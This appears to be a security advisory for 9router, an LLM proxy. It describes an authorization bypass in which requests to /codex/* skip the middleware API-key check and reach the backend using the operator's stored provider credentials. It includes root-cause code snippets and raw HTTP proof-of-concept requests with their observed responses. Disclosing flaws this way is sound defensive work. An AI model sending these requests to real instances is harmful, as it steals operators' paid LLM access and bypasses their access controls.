9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypassGHSA-8gmq-j984-vp4r

Summary

9router exposes an OpenAI/Anthropic-compatible LLM proxy. Remote access to this proxy is intended to be protected by an API-key check in the Next.js middleware.

However, 9router also defines a rewrite that maps /codex/* to the backend LLM endpoint /api/v1/responses. The middleware authorization decision is made on the incoming request path before the rewrite is applied. Because /codex is not included in the middleware's protected LLM API prefix list, requests to /codex/* bypass the API-key gate and are later rewritten to the same backend used by /api/v1/responses.

As a result, an unauthenticated remote attacker can access the LLM proxy through /codex/* and cause the server to make upstream provider calls using the operator-stored LLM provider credentials.

Details

Tested version:

Root Cause

The middleware classifies requests by the original incoming pathname. The protected public LLM API prefixes are:

PUBLIC_PREFIXES = ["/v1", "/v1beta", "/api/v1", "/api/v1beta"];

Because /codex is not included in this list, a request such as /codex/x does not enter the LLM API authorization branch and falls through to:

return NextResponse.next();

The rewrite configuration then maps the allowed request to the protected backend route:

{
  source: "/codex/:path*",
  destination: "/api/v1/responses"
}

The backend route reaches the same handler used by the canonical LLM endpoint:

return await handleChat(request);

The handler then processes the request and performs the upstream LLM provider call. In the tested configuration, the handler does not repeat the same middleware API-key gate for remote callers, so the rewritten request is served after bypassing the intended authorization check.

PoC

The following requests use the same target server and the same remote-style Host header. The only meaningful difference is the request path.

Case 01 — Protected canonical endpoint rejects unauthenticated access

POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 401 Unauthorized

This confirms that the canonical /api/v1/responses path is protected by the intended API-key gate.

Case 02 — Rewritten /codex/* path bypasses the API-key gate

POST /codex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 200 OK

The request reaches the LLM backend without an API key.

A controlled upstream provider endpoint recorded the outbound request from 9router:

POST /responses
Authorization: Bearer NINEROUTER_OPERATOR_STORED_KEY_MARKER
request-body marker present: true
operator key marker in Authorization: true

This confirms that the unauthenticated /codex/* request causes 9router to make an upstream provider call using the operator-stored credentials.

Case 03 — Unrelated unknown path does not reach the backend

POST /notcodex/x HTTP/1.1
Host: evil.attacker.com
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 404 Not Found

No upstream provider call is made. This isolates the issue to the /codex/* rewrite.

Case 04 — Canonical endpoint succeeds only with a valid API key

POST /api/v1/responses HTTP/1.1
Host: evil.attacker.com
Authorization: Bearer sk-REDACTED
Content-Type: application/json
Content-Length: 156

{"model":"fakeoai/x","input":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello","messages":[{"role":"user","content":"NINEROUTER_CODEX_AUTH_BYPASS_MARKER hello"}]}

Observed result:

HTTP/1.1 200 OK

This confirms that the canonical endpoint is functional and that the 401 response in Case 01 is an authorization failure, not a backend error.

Attack Scenario

1. A remote attacker identifies a publicly reachable 9router instance.
2. The attacker sends LLM proxy requests to /codex/* instead of /api/v1/responses.
3. The middleware evaluates the original /codex/* path and does not apply the LLM API-key gate.
4. The rewrite maps the request to /api/v1/responses.
5. The backend processes the request and performs an upstream provider call.
6. The upstream call uses the operator-stored provider credentials.

Impact

A successful attacker can use the operator's configured LLM provider account without authentication.

Likely consequences include:

• Unauthorized use of the 9router LLM proxy.
• Consumption of the operator's provider credits or quota.
• Unexpected billing impact.
• Abuse of configured OpenAI/Anthropic-compatible providers.
• Exposure of model/provider behavior through proxy responses.
• Bypass of the intended API-key access control for remote LLM proxy access.